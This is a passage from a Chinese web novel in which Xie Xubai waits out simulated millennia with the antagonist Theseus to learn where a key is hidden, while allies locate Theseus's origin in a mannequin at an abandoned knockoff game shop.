他什么意思? 很快忒修斯就知道了,就是字面意思。 谢叙白拎着他,硬是在不伤害任何人性命的前提下,突破了重围。 更匪夷所思的是,远离那群人的追杀之后,谢叙白竟然选了一处落脚点,陆陆续续置办起生活用品。 那看着像是要长住的架势。 “你到底想要干什么?” 被捆了整整十几天,忒修斯终于忍无可忍。 本以为不会得到回答,没想到谢叙白闻声看向他,淡然地解释道:“场景没有重复,这里的时间是往前走的。” 往前走…… 忒修斯瞳孔一缩,直觉荒谬:“你不会以为,只要这么持续下去,看完我所有的记忆,早晚能看见我把密钥藏在哪里吧?” 是啊,目睹过他的那些经历,谢叙白或许不会再刺激他崩溃。 但是这样熬时间……也是天方夜谭啊! 谢叙白到底知不知道他经历了多少场实验?? 谢叙白没说话,神色纹丝不动。 忒修斯毫不怀疑谢叙白是真这么打算的,并且这家伙真就有着那该死的毅力! 忒修斯这才发现自己犯了一个致命错误! 谢叙白早就不是什么普通人了,他有着比肩神明的力量,这虚拟场景中的一切,都对他构不成威胁,根本不用循规蹈矩! 忒修斯突然有点慌了:“你……等在外面的那些玩家,你不管了吗?就算你能耗得起,他们……” 谢叙白:“刚才系统动手的时候,我拿它的定时器测算过了,这里和外界的时间流速比例很大,大概是这里度过一百年,外界过去一天。” “换而言之,我们在这里耗过一千年,外面也只过去十天而已。” 谢叙白垂睫,轻叩茶盖,风轻云淡地说:“系统核心在我的手里,没有我的应允,它无法开启第十场试炼,更没力量作妖。” “除此之外也没有别的事情要做了。” “大家绷紧神经奋斗这么长时间,休息两三个月也不错,就当是养精蓄锐,放个长假。” 忒修斯:“……” 如果谢叙白没有说谎,外界的两三个月,换成这里的时间就是……至少六千年? 忒修斯瞪着谢叙白平静到无懈可击的脸,唇皮哆嗦着,终于颤颤巍巍地挤出一个字:“艹。” 第275章 不屈(中) 一开始,忒修斯还幻想过谢叙白是在开玩笑。 谢叙白的亲朋好友都在外面,怎么可能甘愿和他一起,在这个用他的记忆编织而成的虚拟实验室里,空熬几千年? 直至谢叙白用精神力屏蔽他人的感知,彻底躲开其他人的追杀,转头又制造屏障,限制他不能出去伤人害人,同时,自己开辟出一块田地,种起了菜。 种!起!了!菜! 最开始种的小白菜,春二月播种,中间死了两茬,第三次谢叙白终于在没有任何人指导的前提下,不断试错,学会了正确施肥除虫。 夏六月种的豆角丝瓜。因为故意踩死半个田的秧苗,忒修斯被谢叙白当稻草人绑在桩子上一整天,顶着满头鸟屎,脑门青筋突突直跳。 秋天适合种白萝卜和茼蒿,谢叙白刚开垦出一块新田,吃了两月豆角的忒修斯宣告破功。 场景转换,第三阶段。 第二阶段的实验主要是为了切断谢叙白和亲友羁绊,刺激他仇恨世人,仇恨世界。 在被人杀死几次后,【谢叙白】弄清了自己的处境,也认清了系统的恶意。 他选择再次去见【裴玉衡】:“系统会一直将我复活,杀掉我也无济于事,将我留在实验室里吧,如果系统真的在我身体里埋藏了什么祸患,那这世上只有你能研究出来。” “如果你没有把握,请封闭我的识念,将我冰冻,封存在无人知晓的地方。” 【裴玉衡】凝视【谢叙白】毅然决然的神情,瞳孔震颤着,终于再次潸然泪下。 这一阶段,总计实验26场,以【谢叙白】被封存在万米以下的地底为结尾,而【谢叙白】意志动摇的幅度,是零。 系统猛然意识到心智成熟的【谢叙白】无法攻克,于是抹除他的记忆,更改他的年龄,投入新的场景。 在第三阶段,【谢叙白】将直接在恶人窝里出生,他会被局限在这不见光的五毒瓮里,感受不到一丁点世界的善意。 他会不断地被抛弃,被残骸,付出真心而后被人背叛,直至三观在恶意中淬炼成形。 但在谢叙白和忒修斯所在的记忆模拟室中,这些通通都没有发生。 因为谢叙白提前把忒修斯从恶人窝里救走了,走之前还顺手拨打了报警电话。 警铃乌啦啦地响,红蓝灯光将整条街映照着亮如白昼,一个个潜逃多年的杀人犯被一网打尽,戴着镣铐,如丧考妣。 忒修斯是在周围居民的欢呼声中被惊醒的。 他以四岁小孩的模样,被谢叙白抱在怀里,记忆在这个过程中一点点恢复正常。 周围的楼层都亮起了灯,因为被荼毒欺辱已久的居民不再畏惧。 世界吵吵闹闹,纷纷扰扰,潮水般喧嚣。 却有一个地方是始终宁静的。 忒修斯茫然地抬起头。 那万家灯火连绵而成,与皎洁的月光、红蓝色的警灯交相辉映,编织成梦幻般的光影,落在谢叙白瘦削的脸颊上,勾勒出一层朦胧深邃的轮廓。 这一刻,人声不再吵闹,时间变得很慢很慢。 察觉到忒修斯的视线,谢叙白低下头。 两人对视良久,谢叙白突然问:“你是不是不喜欢吃白萝卜?” 忒修斯:“……” —— 有几次实验,忒修斯终于不再是软弱无助的小孩,而是在校寄宿的中学生,被人堵在厕所里。 结果不等他动手,一扭头谢叙白将那几个中学生摁趴下,同时抽出他被霸凌后的记忆,塞进那几个中学生的脑子里。 几个中学生物理意义上地感同身受了,哭爹喊娘求爷爷告奶奶地喊救命,谢叙白便面不改色地说:“我给你们都下了咒,从今往后,你们需要做好事来消除这份诅咒,不然这些记忆就会伴随你们终生,一直到死。” 于是中学生们立马就跪下来,眼泪鼻涕横流,拍着胸脯说自己必定会成为当代雷锋。 旁观全程的忒修斯:“……” 一群神经病。 —— 谢叙白说要熬时间,是真能耐得住寂寞。 只要有书看,有地种,他就能在没有人的深山中安安静静地活上几十年。 这期间忒修斯没有伤害过任何人,不是他不想,是谢叙白根本没给他对其他人出手的机会,甚至连麻雀都没让它们过多停留。 忒修斯阴阳怪气:“我还不至于为难一只畜生。” “鸟类不属于畜生。”谢叙白说,“你会杀了它们。” 忒修斯:“你这是纯粹的偏见” 谢叙白亮出金光:“那告诉我,你不会对它们动手。” 谢叙白的精神力能测谎,忒修斯扯了下嘴角:“杀鸟的人不知道有多少,你怎么不一个个地审判过去?” 谢叙白没有再理他,忒修斯又问:“你到底要把我关多久?难道真的准备这样过上几千年?你不是最喜欢热闹的吗?” “谢叙白!谢叙白——” “讲讲道理,你这么一直关着我,为没有发生的事把我逼到精神失常,最后取得密钥,符合你的理念吗?对我公平吗?” 谢叙白头也不抬,将编好的箩筐放在旁边:“如果你受不了,可以把密钥的位置告诉我。” 忒修斯嬉皮笑脸地问:“然后你就能放过我了?” 谢叙白拿起藤篾,继续编织,不紧不慢地道:“然后我会给你一个痛快。” 忒修斯捧着心口,浮夸地叫嚷起来:“这么无情啊?我还以为这段时间的和谐共处,让咱们的关系缓和不少呢!” 谢叙白手上动作不停,面无表情:“如果我现在放你出去,你看见有人偷东西,会不会砍掉他的手?” 忒修斯维持着嘴角上扬的弧度。 谢叙白:“同理,如果遇见打架的人,遇见抢劫的人,遇到见死不救的人,如果遇见模拟实验中出现过的面孔呢?” 忒修斯的嘴角一点点撇下去,疯狂抽搐,眼睛眯起,颇显狰狞。 金光映照在两人的脸上,空气中弥漫起浓烈的硝烟味,气氛紧张得一触即发。 半晌,忒修斯假笑的脸骤然一变,沉了下去,阴冷地说道:“这样虚伪恶心、充斥着暴力和欺压的世界,到底有什么存在的必要?” “……”谢叙白垂睫,给编好的箩筐磨掉毛刺,“你可以恨这个世界,可以找仇人报复,但无权伤害无辜的人。” “如果我偏要呢?” “有人会拼命阻止你,包括我。” —— 时间如白驹过隙。 忒修斯受够了一天到晚只能对着谢叙白那张淡然的脸,和对着一根会说话的木头没什么两样。 他尝试逃出去,十几次无一例外,全是还没走出深山,就被谢叙白抓了回来。 忒修斯又开始改变策略,他不跑,而是平复心态,让系统转换场景。 结果仅在第一次打了谢叙白一个措手不及,费了点时间锁定他在哪儿。 前后不到一分钟,勉强让他多呼吸两口烟火气。 说真的,这是忒修斯第一次感觉到,有活人存在的世界居然是这么的美妙。 后面,不知道系统是自暴自弃了,还是单纯想要拖延时间,让谢叙白晚点拿到密钥,他们很少再看见血腥暴力的争斗, 更多的则是平平凡凡的人,走在暮色流淌的大街上,过着平平淡淡的生活。 如果谢叙白在新的场景看见了熟面孔,会难得停下来,多看一会儿。 有一次他遇见了生母赵芳。 在丈夫的鼓励下,赵女士开办起线下教学的绘画课。 场地不大,学生大概十来位,对不善交际的赵女士可谓是一大挑战,但赵女士意外能应付得来。 或许是因为她有一颗想要帮助学生的心,腼腆的笑容中满是善意,令人放松。 又或者,是因为她本来就是一位坚强伟大的女士。 忒修斯是这里的学生,理所当然的,谢叙白不允许他接近赵女士。 但忒修斯被关了这么久,心里憋着火,存心要给谢叙白找点不痛快。 他知道谢叙白画画很烂,唰唰几笔下去,一副比例堪称完美的风景画赫然出世。 忒修斯故意当着谢叙白的面双手高举,站起来喊:“赵老师!你认为我画得怎么样?” 理论上,被屏蔽认知的赵芳不可能看见谢叙白两人,也不会听见忒修斯吵闹的声音。 而且这里的赵芳不是真人,只是一道数据剪影。 可在那一瞬间,赵芳却似有所感地抬起头,困惑地看向谢叙白两人所在的位置。 “老师,怎么了?” 赵芳啊了一声,看向空无一人的座位,喃喃道:“总觉得,有两个人坐在那儿……” 学生仔细看完,摇了摇头:“没看见啊,哪里有人?” 赵芳还是呆愣地盯看着,眼睛睁得大大的,把那两个空位从左往右,从上往下,翻来覆去地看。 她也不知道自己在看什么,明明那里什么都没有。 看着看着,一股名为心疼的情绪在胸口轰然爆发,莫名其妙,止都止不住。她眼眶一红,泪水哗啦啦地往下掉。 肯定有人。 而且。 “总觉得,他们吃了很多苦……” 谢叙白没有说话,微微捏紧桌子上的画纸。 忒修斯嬉笑的脸一滞,骤然间场景变化,赵芳等人的身影消失不见。 空气中弥漫开一股僵冷的气息,分不清是恼怒,还是怯懦。 —— 有学者认为,如果有机会将人和灵魂分开,单纯只改变人的DNA并不会影响灵魂的本质。 也有学者认为,人是受激素影响的生物,更改DNA会影响激素分泌,从而改变人格。 在后面的某一场阶段实验中,忒修斯被系统更改了DNA。 他不再以【谢叙白】的视角面对这个世界,有了崭新的面孔,崭新的家人,崭新的名字和崭新的经历,并对自己当前的身份有着健全完整的认知。 就像有个叫张二麻子的人,从小爹不养娘不管,和一群狐朋狗友抽烟泡吧打架斗殴,吹牛装叉正事不做,这天喝着啤酒撸着串,突然,脑子里塞进来一段【谢叙白】的人生经历。 有个叫系统的傻叉凭空现身,声情并茂地告诉他,他根本不是什么无人关心的小混子,而是救世组织使徒公会的最高指挥官谢叙白,有着丰富多彩的人生和至高无上的地位,只要和它一起摧毁玩家群体,就能夺回这本该属于他的一切。 ……说实话。 忒修斯只在动画片里,听到过这么弱智的忽悠话术。 他一度怀疑【谢叙白】早就被恼羞成怒的系统折腾毁了,而他不过是一个被抓到当炮灰的倒霉蛋,被填鸭式地灌输了【谢叙白】的人格。 就算没有那些被折磨的记忆,他和谢叙白也一点都不像。 如果走在路上,有人掉了钱包,刚巧没有摄像头,也无人看见,忒修斯会毫不犹豫地捡起钱包,拿走里面所有的钱,潇洒挥霍。 而谢叙白会录像拍照,在保证自己清白的前提下,把钱包上缴警察局。 —— 偌大的绘画室,只有谢叙白和忒修身两个人,两人都没有说话,只有笔刷沾上油彩,断断续续落在纸面的声响。 忒修斯很快完成了一副画,不管是线条、色彩还是形象塑造都完美无瑕,如果专业人士在这儿,绝对会毫不犹豫地给出极高的评价。 而谢叙白则画得一丝不苟,控笔的力道堪称机械般的精准。 忒修斯却看着他的画,得意洋洋地咧开嘴:“画得真差,你脑子里总是塞着那么多东西吗?我打包票,这辈子你都别想在绘画上赢过我。” 曾经谢叙白画画很烂,是手不稳,容易抖。 现在他的手不抖了,再精密的仪器也能在最短的时间内组建完成,心态却变了,无法画出和生母赵女士一样热烈纯粹的作品。 谢叙白没说话,将画从板子上拆下来,揉成团,丢进垃圾桶。 忒修斯仔细端详他的脸,突然说:“谢叙白,很多时候我都觉得你不是人,是一只鬼。” “被改掉DNA后,我明明有了新的身份、脸和名字,可一旦接收完记忆,每次照镜子总能看见你的这张脸,有时候不照镜子都能看见。你名字里的三个字,一听到别人提起,我就会情不自禁地打哆嗦。” “简直阴魂不散,无处不在。还是说,我真的被鬼上身了?” 忒修斯像是陷入魔怔,盯着谢叙白,喃喃自语般问道,“你觉得我像你吗?谢叙白。” 谢叙白和他对视良久,斩钉截铁地说道:“你不是我。每个人都是独一无二的个体,没有谁可以取代谁。” 忒修斯面无表情,半晌,无声地弯起眼眸:“果然,是你会给出的回答。” “不如我们来决斗吧。”忒修斯突然来了兴致,一拍巴掌,兴奋地提议道,“如果你赢了我,我就把密钥在哪儿告诉你,如果我赢了你,你就放我出去。” 谢叙白:“你是真的打算告诉我,还是单纯地气不过?” 忒修斯不置可否,笑眯眯地说:“难道你真的要在这儿和我耗上几千年?就算你的意志能坚持下去,你的身体熬得住吗?” “其实你一直在强撑吧?刚解决岑向财的个人问题,又马不停蹄参加游戏试炼,献祭分魂,攻入系统的核心数据库,转头又在我的内心世界游荡这么久,身心俱疲——哦!我是不是忘记提醒你了,擅自闯入别人的内心世界会消耗大量的精神力?而且停留得越久,遭受的反噬就越大。” 谢叙白神色不变。 忒修斯笑道:“看来是我班门弄斧了,要比起进入他人内心世界的经验,这世上谁能比你多。” “可这世上淹死最多的,不就是会水的人吗?” 谢叙白还是没说话。 “谢叙白。”忒修斯的眼神陡然尖刻,紧盯着谢叙白的脸,像蝎子探出剧毒的尾针,幽幽探寻着猎物壳上开裂的缝,“你不会蠢到真的在这里耗干精神力,你的后手是什么?” 谢叙白屈起食指,指尖轻叩大腿,似乎在借这个小动作思考对策,又像是在等待什么。 十分钟过去了,半小时过去了,三小时过去了。 指针滴答走向晚六点,巨大的日轮悬在地平线上,半边天幕如火燃烧,橘红色的阳光透过窗棂,照射在谢叙白沉稳如旧的脸颊上。 谢叙白:“我接受你的决斗邀请,但要换一个地方。” 他的语气没有太大变化,像兴起时随口和人唠了一下家常,自带一股温和的腔调,忒修斯却浑似被人拿重锤往致命部位砸了一下,忍不住汗毛炸开,直觉谢叙白至少有七分把握能拿下他。 可忒修斯转念一想,又觉得自己精神状态良好,就算是谢叙白也没法强行入侵他的心理防线,扯了扯嘴角,挑起半边眉梢:“哦?你想在哪儿打?” 谢叙白吐出一个完全陌生的地址:“H市,安泰区,铜锣大道2231号。” 忒修斯好整以暇的脸猝然一变。《 》 275-280 第276章 不屈(下)…… 几乎同一时间,现实世界,H市。 伴随着巨大的轰鸣声响彻城市高空,一架架侦查直升机旋翼飞转,掀起一场浩大的飓风,从大厦楼宇头顶划过。 而城市下方,喧闹不断。一辆辆警车与私家车疾驰在四通八达的交通干道上,数不清的身影,或人形、或类人、或兽态,争分夺秒,雷厉风行地穿梭于街头巷尾,对所有可疑区域进行地毯式搜寻。 这场铺天盖地的大搜查,自副本《游戏之家》开启以来,已经不分昼夜地持续了整整一个月之久。 直至某一刹那,一声高昂尖锐的警铃如惊雷炸响,引得所有搜寻的人猛然侧目回头。 “找到了!” H市安泰区,铜锣大道2231号。 这个地址所处的街道,原本被规划为隔壁游乐景区的扩展项目,却因为开发商违反合同条约,得罪原工程方而被迫中断。 谢凯乐带队找到这里的时候,附近基本上看不见什么人影了,大部分楼房的墙体被拆掉,没来得及搬运的碎石砖瓦杂乱地堆在一起,街上寒风瑟瑟,只有零星的鸟雀在树上啼叫,透着一股无言的荒凉感。 街道中央就是他们的目标地点:一家没有拆除痕迹、以至于完好无损到和周遭格格不入的商店。 更准确点来说,是一家私人楼房违改的零售类电玩店。 队员汇报道:“我们之前调查过,该屋主本来接受了工程项目组给出的补偿措施,同意拆迁,后来第一批扩建的店铺竣工营业后,客流量直接爆满,屋主立马反悔改了口,自己在私底下偷建商铺。” 屋主约莫也想借着景区扩建的风,从中狠狠捞一笔油水,却没有想到两家项目合作方会产生矛盾,最后导致工程戛然而止。 虽然只有一条马路的距离,隔着一面半高的路肩墙,但一边热闹繁华,一边凄清死寂,像八十年代的无人村,大多数不小心误入的游客只会心里发毛,害怕地退出去。 最后别说捞钱了,甚至都没来得及开业,加上放弃的拆迁款,纯血亏。 谢凯乐注意到门口招牌的样式很眼熟,和景区客流量最大的那家周边直营店,几乎一模一样。 显然屋主对那家店营收利润的眼红程度,不止一星半点。 这些发现都不是最重要的。 当跨进这家店大门的一瞬间,一股强烈的预感排山倒海般冲向谢凯乐的心头。 他脚步刹停,猛然抬头,灰蒙蒙的天空就像上了一层滤镜,突然变成诡异不祥的猩红色,宛如染血。 错不了,这就是诡王领域! 谢凯乐心跳快速,立马让人将消息通知给裴玉衡等人,同时毫不犹豫地带队往里深入。 岑向财给出的调查资料很完善,里面写着,这家店的屋主至少有两个月没有出现在人前,附近的居民陆陆续续搬走,没人在意这里的情况,偶尔有路人看见屋主把什么东西搬到门口。 而最后一次传出动静,是殴打和辱骂,以及惨叫。 谢凯乐在店内仔细搜查,这栋楼一共两层,一层营业,锈迹斑驳的货架、盗版游戏影碟、二手电脑和电玩设备、脱皮的墙纸以及斑驳的地面……原本就很劣质陈旧的布设,在蒙上一层灰后更显颓败。 至于二层也好不到哪儿去,淘来的杂货都被一股脑地堆叠在楼道口和走廊上,唯一可以用来住人的房间,脏衣服、臭袜子、垃圾随处乱丢,方便面不知道被谁打翻在地,汤汤水水浸入地板,面条长出霉菌,辣油凝成块,空气里散发着令人作呕的酸臭味。 又脏又乱。 他们在这家店搜来查去,连地板都撬开来检查了,整整三小时就只发现了这些放在明面的信息,没有其他异常,更没有找到屋主的踪迹。 汇报的人说:“队长,我们使用了所有仪器,检测不出异常。” 但这里有诡王领域,没有消退的迹象! 偏偏诡王如果想要在自己的领域隐藏到底,外人根本无计可施,除非强过诡王数倍! 谢凯乐咬紧腮帮,脸皮绷紧,大步流星穿梭在货架之间,目光再一次将店里情况从头扫到尾,不肯放过一丝细节。 没人知道他的神经早已绷成一根弦,他的耳边仿佛响起谢叙白临走时的嘱咐:“我有更重要的事情交给你们。” 就在一个月前,当裴玉衡等人听到谢叙白打算一个人去对付实力不详的忒修斯时,心情堪称爆炸,激动不已,坚决不同意谢叙白孤身犯险。 谢叙白却说:“这不是孤身犯险,相反,这场游戏最后能不能胜利,包括我能不能活下来,都要仰仗你们接下来的行动。” 听到谢叙白的语气如此认真严肃,几人方才平复情绪,恢复镇定。 裴玉衡和谢叙白对视片刻,直言道:“你想要我们怎么做?” “找到那个家伙(忒修斯)的‘出生地’。” 《犬害》、《屠龙少年》、《请遵循设定》,一连三场试炼副本都被设定在H市,显然不是巧合。 H市的外围被一层空气墙所阻隔,正常人出不去,机场、火车站、长途客运也没有外地人进来,强行突破只能看见一片白雾笼罩的虚空。 是他们被世界隔绝在外了吗? 不。 如果H市仅仅是“孤立无援”的处境,那么他们会被“放逐”,丢在无人问津的角落等死,而不是成为决定游戏输赢的主场。 就是因为一切试炼都发生在H市,谢叙白才有机会以NPC的方式重新参与,干预甚至是主导游戏的胜负。 但凡系统有得选,都不会让谢叙白拿到这么大的优势,它这么做只有一个理由,那就是规则钦定——【中洲的游戏场地只能发生在H市】。 最坏的情况是中洲的其他城市全部沦陷,只剩下H市,作为最后的堡垒。 谢叙白道:“无论是哪一种情况,下一场游戏都极有可能再发生在H市。” “斗篷人给出一个不与现实挂钩的虚拟空间,作为和他会面的地点,很可能就是为了掩盖真实的游戏地点。” 只有找到真实的游戏地点,促使诡王“诞生”的起源地,才能破解出敌人的弱点。 然而,H市记录在市政网上的大型建筑群就有两百多个,其中包括四、五十层的商业写字楼,每一层按场地面积,有数量在5~15不等的独立房间,每一个房间都有可能成为下一个无限游戏的场地。 也就是说,这两百多个大型建筑群中,单单只是其中一栋写字楼,就有至多750个需要人员去实地勘察的搜查点,取极端值就是足足15万个! 这是什么概念? 意味着一队人,哪怕草草地瞥上一眼,也要不吃不喝、不眠不休地查上足足三四个月! 更何况,除了大型建筑还有四百多个中型建筑,六百多个小型建筑,以及尚未明确登记在案的私人场地,隐藏在偏僻地区、深山老林,完全不清楚有多少的秘密建筑。 这样庞大且模糊不详的搜查量,足以让任何一个搜查人员汗流浃背,望而却步。 “而且系统一定会想尽办法将它隐藏起来,我们要在敌人搅动的狂狼漩涡里捞针。”谢叙白说,“枯燥、繁琐、艰难,毫无头绪,天方夜谭。这场行动只有交给你们,我才能够放心。” 白狗平安麾下的猫狗怨魂,谢凯乐暂领的执法大队,裴玉衡担任院长时所累积的人脉,岑向财作为盛天集团总秘书所建立的情报网和执行团队。 “我需要你们动用一切资源,拼尽全力,争分夺秒地找到它。” 岑向财目不转睛地盯着谢叙白的脸,忧心忡忡地问:“你确定真的有这么一个地方?” 谢叙白摇头:“不确定。” 是的,他没法确定。 这个时候的他们,对无限游戏的整体规则一知半解,就算这个推论可能性极大,也无法被证实。 有可能他们找到最后,并没有这个所谓“真实的游戏场地”。 更有可能他们还没有找到,游戏就已经结束,所有的坚持都是白费、徒劳。 岑向财明显有些迟疑了:“那……” 裴玉衡突然道:“曾经有一个科研项目,耗时费力,难度极大,被当时的外界学者认定为【绝对不可能完成】,你们知道是什么吗?” 几人一顿,转向裴玉衡。谢凯乐问道:“是什么?” 裴玉衡道:“那就是你们现如今看见的所有事,所有东西。” “人工发电、修建道路、粮食增产几十万亩、千万里无障碍通讯、登上月球。这些在当时看来不亚于天方夜谭的事情,却因为存在百分之一的可能性,被人发现,被人开拓,最终展现于世人眼前,被广泛运用,人类文明从古至今都在上演一场现在进行时的奇迹。” 裴玉衡看向谢叙白:“你刚才做出的推论,在你看来,可能性有多大?” 谢叙白和裴玉衡对视半晌,倏而展颜一笑:“远远高于百分之一。” —— 谢凯乐焦躁地咬紧后槽牙。 现在的问题是,他很有可能找到了老师所说的地点,但是他无法破除系统的伪装。 或许等到裴玉衡他们过来就会有办法,但是一想到谢叙白此刻身处险境,九死一生,他就没办法保持平常心。 谢凯乐目光冷厉,逡巡店内的摆设,不断地告诉自己:冷静,要冷静。 这是谢叙白对他的教导,无论经历什么都不能慌乱,难道他要当个长不大的毛小孩,一直躲在老师的庇护下,让他操心吗? 想想老师平时是怎么破局的,一定有什么线索,一定有—— 这时,谢凯乐心脏一颤,脑子里划过一个模糊的念头。 他让队员再次拿来岑向财调查到的资料,视线在字里行间飞速横扫,唰一下,锁定在了他想要的信息上。 那上面说,有路人曾看见屋主将某个摆件放在门口。 刚才谢凯乐也想起来,屋主想要模仿的周边实体店,门口就立着一个人偶。 关键就在这! 那家周边实体店,之所以开业没几天就收获几千人次的客流量,关键就在于他们拿到了某个热门游戏主人公的周边销售版权。 老板很有商业头脑,当机立断按照游戏主人公的形象,制作了一个等身精致人偶,摆在商店门口用来引流。 屋主见状,不是一般的眼热,于是邯郸学步,也仿造出一个同样的人偶摆在门口,当然是盗版。 这样的骚操作倒真的吸引来了几个走错路的粉丝,买完东西发现被诓骗,气得举报。 屋主明面上道歉,很配合地把人偶放回去,等到风头一过立马又拿出来,一来二去,给附近的人留下了深刻印象。 谢凯乐来到店门口,清理垃圾杂物,扫去地面的灰尘,果真发现几道刮擦出来的印子,证明这里原本长时间摆放过某个东西。 那么东西呢?那个人偶在哪儿? 屋主吝啬到连生锈的铁杆子都舍不得扔,肯定也不会丢掉人偶。 也是谢凯乐低下头检查的刹那间,他的上衣口袋动了动,谢叙白留给他们的金色光团掉了出来。 谢凯乐一惊,连忙伸手去捞光团,下一秒,神奇的事情发生了。 金光落地,却溅起黑红色的涟漪。一阵狂风呼啸刮过,涟漪扩散为波涛,在原本细微的搬动痕迹上,续接起一条长长的、更为清晰且连续的行动痕迹。 这痕迹蜿蜒向前,从店铺门口延绵至楼梯口,往二楼去。 是屋主搬走人偶的行动轨迹! “所有人都过来!” 谢凯乐连忙起身,呼唤大家一起追上去。 同时他惊愕地发现,眼前的场景变了。 货架倒塌,桌椅齐翻,花瓶什么的碎了一地,满地狼藉。 所以和刚才不同,而系统致力掩盖的事实是:这里曾经展开过一场激烈的争斗! —— 视角回到系统模拟实验的虚构场景中。 当谢叙白链接留给谢凯乐的金色光团,找到铜锣大道2231号,并对忒修斯一说出这个地址时,后者的脸色变了,不敢置信中透露出一丝惨白:“你为什么能……” 忒修斯猝然闭嘴,神色阴郁。 不用问了。 他能感应得到,现实中的谢凯乐带着执法大队找到了他的本体。 就算因为诡王领域一时奈何不了他,但解决他也不过早晚的问题。 在此之前,忒修斯可以说和谢叙白玩了一手金蝉脱壳。 谢叙白一直没法强行侵入忒修斯的意识世界,不是忒修斯的意志力有多么强大,单纯是因为保留着重要记忆的本体不在这。 而现在,他暴露无遗。 忒修斯盯着谢叙白,眼神凶狠得像是要吃人。 事到如今,他所有的底牌都被对方揭穿,除了求饶以外,可以说别无他法。 可是,求饶? 笑话! 忒修斯宁愿把所有实验再经历一遍,变成彻头彻尾的疯子,都绝不会向谢叙白求饶! 谢叙白的决心不遑多让。 没有一句废话,对忒修斯试探成功后,他立马操控谢凯乐身边的金色光团,攻入现实世界忒修斯的诡王领域。 约莫五分钟,平安赶到,留给大狗的金色光团加入讨伐的行列。 接踵赶来的是岑向财,然后是裴玉衡,以及数万调查员,包括猫猫狗狗的怨魂。 在大家的合力进攻下,前后用时不超过13分钟,忒修斯的诡王领域轰然破碎! 现实世界,领域破开刮起一场天地为之色变的巨大风暴。 而虚拟实验中,伴随滋啦嘈杂的电流声,神情狰狞的忒修斯像错乱的数据图像,啪的一声,消失了。 本体遭遇威胁,无法维持分身的存在,于是强行回收。 金光跨越现实和虚拟的边界,搭起一座桥梁,以便让谢叙白赴往两人最后的战场。 空气中弥留着剑拔弩张的气息,谢叙白闭上眼睛,清楚听见自己的心脏在剧烈跳动。 他明白,就算所有招数用尽了,忒修斯也不会束手就擒,将拼死反抗。 这将是至关重要的时刻,临门一脚,一步之遥,三亿玩家坚持的终点,七十七亿亡者最后的结局。 谢叙白静下心,从模拟实验中脱出,沉入忒修斯最终的意识世界。 …… 谢叙白没有刻意去记,自己究竟和忒修斯在模拟实验中停留了多长时间,几年?或是十几年? 和那场漫长到仿佛没有止境的实验相比,忒修斯的核心记忆并不长,短到匮乏和可怜,像一场仅有二十分钟的电影短片。 电影的开端在一个脏乱逼仄的房间里,一个不修边幅的男人嘴里叼着烟在打电话。 他伸出脚,不小心踹到堆积的啤酒瓶子,哐啷几声,没喝完的酒从瓶口淌出,洒在地上,打湿地板。 男人当即烦躁地啐了口痰,将所有酒瓶子踢开,继续对着手机喷口水:“那家店摆的人偶,就让你照着样式搞一个,不用多好看,能唬人花钱就行了嘛!” 第277章 剪刀手人偶 没过多久,快递货车将人偶送上门。 人偶静静地靠着箱板,忽然,头顶呲啦一声,胶带被剪刀划开,日光灯照进黑暗密闭的快递箱。 世界变亮了。 抬头是天花板,环顾是大厅。 虽然没有全面消杀的制造厂干净,但收拾得比较整齐,桌子上的花还坠着晶莹的水滴…… 灯光落入人偶无机质的玻璃眼里,像被仔细打磨的黑曜石,由暗至明,折射出多彩的光晕。 猝然间,一阵天旋地转。 老板一把拽起人偶的脑袋怼到手机镜头前,大嗓门胡咧咧,唾沫横飞:“我是说差不多就行了,但是这也差太多了吧!” “你看看这脸,五官歪成什么样了,再看看衣服,抹布都比这好看,这种破烂玩意谁愿意花钱啊?摆出去我都嫌丢人!” 一番胡搅蛮缠,终于让商家不堪其扰地免掉尾款。 老板乐滋滋地挂断电话,反手将人偶摆在店门口,好像刚才喷的瑕疵全都消失了一样。 “长得跟个娘娘腔似的,也不知道咋火的……”老板嫌弃地嘀嘀咕咕,朝人偶踹了一脚,“费了老子这么大的劲儿,你最好真的能招来人,不然把你拆了当柴烧。” 晚秋的天空一片暗沉,不远处挖掘机嗡嗡作响,发出恼人的噪音,沉重的石墙轰然倒塌,扬起漫天粉尘。 忽然狂风大作,卷起沙砾,店主连忙跑进屋躲避。 人偶站在萧索的街道上,嘴角保持微笑,随着风沙的洗礼,透亮的玻璃眼慢慢蒙上一层灰。 两天后,终于有来买周边的粉丝走错路,被仿制人偶吸引注意,半信半疑地踏进老板的店。 老板奸诈地解释为自己是新开的连锁店,时间关系,刚拿到货,还没来得及在网上宣传。 在他巧舌如簧的忽悠下,几个粉丝以为淘到宝,高兴得不行,豪横地买走大半周边。 看着高达五位数的入账金额,老板几乎笑裂了嘴。 于是这天晚上,他把人偶收回屋里时难得给了好脸色,一个劲儿地猛夸:“好宝贝啊,你可真是我的摇钱树!” 人偶沉默地微笑着。 周围在拆迁,路口风又大,它在外面摆上一天,身上落满了灰。 老板像是才注意到,乐呵呵地将人偶的脸擦了擦:“你的做工也太糙了,差点没唬住人,等这条街修起来,我就给你翻新一遍。” “不对,我这脑子!用不着等啊,直接把你摆在路口,再立个引路的招牌不就行了吗!” 老板立马拿起手机,兴冲冲问:“喂老魏,你那有没有会精修人偶的模型工?” 越来越多的粉丝看到推广来消费,越来越多的钱哗啦啦进账。 店内仿佛萦绕着锣鼓喧天鞭炮齐鸣的喝彩声,喜气洋洋地讴歌着成功和发财。 却在“嘭!”猛然的拍桌声里戛然而止。 老板噌一下站起身,听着电话那头的通知,眼睛瞪得滴溜圆:“你说什么?景区扩建项目叫停,文化商街不往这儿建了?!开什么玩笑!他们说不建就不建,我要怎么办?嘶啊艹!” 泡面被撞翻,滚烫的汤汁泼到老板的大腿上,疼得他吱哇乱叫。 也是这时,楼下传来愤怒的叫嚷声:“就是这家店,骗我们的钱!” 贩卖盗版的事终于还是暴露了。 一起被扒出来的,还有老板无证经营,非法售卖。 罚款、勒令停业、加上网上铺天盖地的咒骂,气得老板双眼通红,脑子一抽,在网上发布大量诋毁正主的言论。 这些谣言后来也被人扒了出来,本就没消下去的事端霎时间愈演愈烈,粉丝直接线下团建,跑到店里讨要说法。 一时间,楼下乌泱泱的全是群情激愤的粉丝,吓得老板连忙下楼搬桌子顶住大门,心脏扑通扑通蹿上嗓子眼。 和恐惧一起滋生的是崩溃窝火。 赚钱的梦碎了,拆迁款也丢了,住在危房圈里,还变成人人喊打的过街老鼠。 老板忍不住破口大骂,踹桌子摔东西,气得浑身发抖。 突然,他动作一停,注意到了摆在柜台旁静静微笑着的人偶。 …… 